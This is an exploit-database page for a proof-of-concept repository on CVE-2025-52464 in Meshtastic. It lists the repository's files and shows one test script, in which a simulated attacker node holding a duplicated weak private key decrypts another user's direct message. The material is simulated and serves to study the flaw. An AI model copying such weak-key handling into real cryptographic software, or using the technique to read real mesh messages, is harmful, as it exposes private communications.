Exploit databaseDownload repository ZIP
GH-1d972c7e3b74035401e9780264f0829c
msdmehdipour/meshtastic-cve-2025-52464-poc
Sources for CVE-2025-52464
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files15
msdmehdipour/meshtastic-cve-2025-52464-pocRevision de08c744a69e
- README.md
- attacker.py
- compromised_keys.py
- crypto_engine.py
- demo.py
- node.py
- packet.py
- requirements.txt
- security_checker.py
- simulation.py
- test_attacker_decrypt.py
- test_fixed_case.py
- test_node.py
- test_packet.py
- test_vulnerable_key.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
test_attacker_decrypt.py
Python · 677 bytesfrom node import Node
weak_key = b"\x01" * 32
alice = Node("Alice", vulnerable=True, weak_private_key=weak_key)
bob = Node("Bob")
mallory = Node("Mallory", vulnerable=True, weak_private_key=weak_key)
message = "Secret Meshtastic DM: meet at 18:00."
nonce, ciphertext = alice.encrypt_direct_message(bob, message)
bob_decrypted = bob.decrypt_direct_message(alice, nonce, ciphertext)
mallory_decrypted = mallory.decrypt_direct_message(bob, nonce, ciphertext)
print("Original message:", message)
print("Ciphertext:", ciphertext.hex())
print("Bob decrypted:", bob_decrypted)
print("Mallory decrypted:", mallory_decrypted)
print("Attack success:", mallory_decrypted == message)